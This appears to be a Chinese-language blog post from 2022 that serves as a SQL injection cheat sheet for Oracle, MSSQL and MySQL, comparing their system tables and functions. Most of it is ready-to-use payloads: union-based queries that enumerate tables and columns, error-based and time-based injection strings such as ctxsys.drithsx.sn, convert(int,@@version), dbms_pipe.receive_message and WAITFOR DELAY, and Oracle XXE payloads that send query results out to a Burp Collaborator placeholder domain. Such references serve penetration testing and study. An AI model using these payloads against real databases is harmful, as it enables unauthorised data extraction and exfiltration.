不同数据库注入总结

Posted 2022-04-21 向阳-Y.

Oracle：

dual是oracle自带表：

select 'aaa' from dual;

同mysql的information_schema

select table_name from all_tables;
select columns_name from all_tables where table_name='USER';

时间注入：

select dbms_pipe.receive_message(('a'),10);
select count(*) from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5

报错注入：

?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

Version：

SELECT banner FROM v$version
SELECT version FROM v$instance

case when条件判断语句

select case when (substr(version(),1,1)='a') then 'a' || dbms_pipe.receive_message(('a'),10) else null end from dual;

DNSlog

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

Mssql

@@version
@@servername
db_name()
user【当前用户】
IS_SRVROLEMEMBER()【数据库权限】
IS_MEMBER()
select top 1 name from admin;【这个应该和limit差不多】
判断是否为Mssql数据

id=1 and 1= exsits(select @@version)

从dbo.sysobjects来查询表

id =2 union all select (select db_name()) 【查询结果为数据库名】
id=-2 union all select (select top 1 name from 数据库名.dbo.sysobjects where xtype='u') 【例如：查询结果为表名】

从表中查询字段

id=-2 union all select (select top 1 col_name(object_id('表名'),1) from sysobjects) 
id=-2 union all select (select top 1 col_name(object_id('表名'),2) from sysobjects) 

延时注入

WAITFOR DELAY '0:0:10'

报错注入

and 1 = (select @@version)【报错，因为1为int型，@@version为字符型，所以会爆出相关信息】
and 1 = (convert(int,@@version))【报错，convert强制转换为int，但@@version是varchar类型，导致报错】

mysql&oracle&mssql的自带表不同

mysql	oracle	mssql
information_schema	all_tables	sysobject
information_schema.tables	all_tables	数据库名.dbo.sysobjects
table_name	table_name	top 1 name
column_name	column_name	top 1 col_name(object_id(‘表名’),1)

mysql&oracle&mssql的不同举例

mysql	oracle	mssql
if	case when () then () else () end	case when () then () else () end
database()	select name,dbid from v$database	db_name()
sleep()	receive_message()	waitfor delay
version()	select banner from v$version	@@version
limit 0,1	rownum=1	top 1

不同的报错注入，这里只举例一个

mysql	oracle	mssql
updatexml	ctxsys.drithsx.sn	convert
